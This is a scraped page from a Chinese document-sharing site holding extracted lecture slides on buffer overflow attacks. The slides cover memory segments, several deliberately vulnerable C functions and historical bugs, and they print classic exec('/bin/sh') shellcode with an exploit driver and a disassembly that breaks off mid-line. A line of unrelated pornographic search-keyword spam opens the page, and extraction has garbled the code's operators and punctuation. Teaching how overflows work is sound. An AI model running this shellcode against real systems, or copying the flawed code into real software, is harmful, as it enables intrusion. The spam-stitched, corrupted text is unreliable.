freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

第七章計算機系統(tǒng)安全(緩沖區(qū)溢出)(編輯修改稿)

2025-03-21 23:20 本頁面
 

【文章內(nèi)容簡介】 緩沖區(qū)溢出攻擊舉例 ? 1996年 BSDI crontab被發(fā)現(xiàn)存在基于堆的緩沖區(qū)溢出隱患,攻擊者可以通過輸入一個長文件名溢出在堆上的緩沖區(qū),溢出數(shù)據(jù)改寫的區(qū)域是保存有用戶名、密碼、 uid, gid等信息的區(qū)域。 2023/3/22 緩沖溢出攻擊的原理(續(xù)) ? 2. 緩沖區(qū)溢出可能發(fā)生的位置(續(xù)) ? 堆棧 (stack) ? 堆 (heap) ? 數(shù)據(jù)段 (data) ? BSS段 .text .data .bss heap unused stack env Low address High address Linux/Intel IA32 architecture 2023/3/22 緩沖溢出攻擊的原理(續(xù)) ? 基于數(shù)據(jù)段的緩沖區(qū)溢出 void Overflow_Data(char* input) { static char buf[4]=”CCCC”。 int i。 for (i = 0。 i 12 。 i++) buf[i] = ?A?。 } 2023/3/22 緩沖溢出攻擊的原理(續(xù)) ? 2. 緩沖區(qū)溢出可能發(fā)生的位置(續(xù)) ? 堆棧 (stack) ? 堆 (heap) ? 數(shù)據(jù)段 (data) ? BSS段 .text .data .bss heap unused stack env Low address High address Linux/Intel IA32 architecture 2023/3/22 緩沖溢出攻擊的原理(續(xù)) ? 基于 BSS段的緩沖區(qū)溢出 void Overflow_BSS(char* input) { static char buf[4]。 int i。 for (i = 0。 i 12 。 i++) buf[i] = ?A?。 } 2023/3/22 緩沖溢出攻擊的原理(續(xù)) ? 3. 常見的溢出緩沖區(qū)的途徑 ? 利用 C的標準函數(shù)庫 ? 常見的有 strcpy、 strcat、 sprintf、 gets “Mudge”. How to Write Buffer Overflows. ,1997. Paul A. Henry MCP+I et al. Buffer Overflow Attacks. CyberGuard Corp. C. Cowan et al. Buffer overflows: Attacks and defenses for the vulnerability of the decade. Proceedings of the DARPA Information Survivability Conference and Expo, 1999. 2023/3/22 緩沖溢出攻擊的原理(續(xù)) ? 利用數(shù)組下標的越界操作 ? Offbyone緩沖區(qū)溢出 ? 利用數(shù)組的最大下標與數(shù)組長度的差異產(chǎn)生。 例如 ? 1998年 10月 BugTraq公布出 Linux libc中的 realpath函數(shù)存在singlebyte緩沖區(qū)溢出隱患,攻擊者可以利用它獲得 root權(quán)限。參見 O. Kirch. The poisoned nul byte, post to the bugtraq mailing list, October 1998. ? 2023年 12月 OpenBSD安全組公布 ftpd存在類似安全隱患。參見OpenBSD developers, singlebyte buffer overflow vulnerability in ftpd, December 2023. void BadCode(char *str){ char buffer[512]。 for (i=0。i=512。i++) buffer[i]=str[i]。 } 2023/3/22 緩沖溢出攻擊的原理(續(xù)) ? 利用有符號整數(shù)與無符號整數(shù)的轉(zhuǎn)換 void BadCode(char* input) { short len。 char buf[64]。 len = strlen(input)。 if (len MAX_BUF) strcpy(buf, input)。 } 2023/3/22 緩沖溢出攻擊的原理(續(xù)) ? 4. 惡意代碼(注入) 例如為實現(xiàn): “exec (/bin/sh)” char shellcode [ ] = ”\xeb\x1f\x5e\x89\x76\x08\x31\xc0” ”\x88\x46\x07\x89\x46\x0c\xb0\x0b” ”\x89\xf3\x8d\x4e\x08\x8d\x56\x0c” ”\xcd\x80\x31\xdb\x89\xd8\x40\xcd” ”\x80\xe8\xdc\xff\xff\xff / bin / sh”。 char large_string [128]。 void main( ) { char buffer [96]。 int i 。 long * long_ptr 。 long_ptr = (long *) large_string 。 for ( i = 0。 i 32。 i++) *( long_ptr + i ) = ( int ) buffer 。 for ( i =0。 istrlen ( shellcode ) 。 i++) large_string [ i ] = shellcode [ i ] 。 strcpy ( buffer , large_string ) 。 } 2023/3/22 The secret of the shellcode char shellcode [] = /* main: */ \xeb\x1f /* jmp $0x1f or jmp callz */ /* start: */ \x5e /* popl %esi */ \x89\x76\x08 /* movl %esi, $0x08(%esi) */ \x31\xc0 /* xorl %eax, %eax */ \x88\x46\x07 /* movb %al, 0x07(%esi) */ \x89\x46\x0c /* movl %eax, $0x0c(%esi) */ \xb0\x0b /* movb $0x0b, %al */ \x89\xf3 /* movl %es
點擊復(fù)制文檔內(nèi)容
教學(xué)課件相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖片鄂ICP備17016276號-1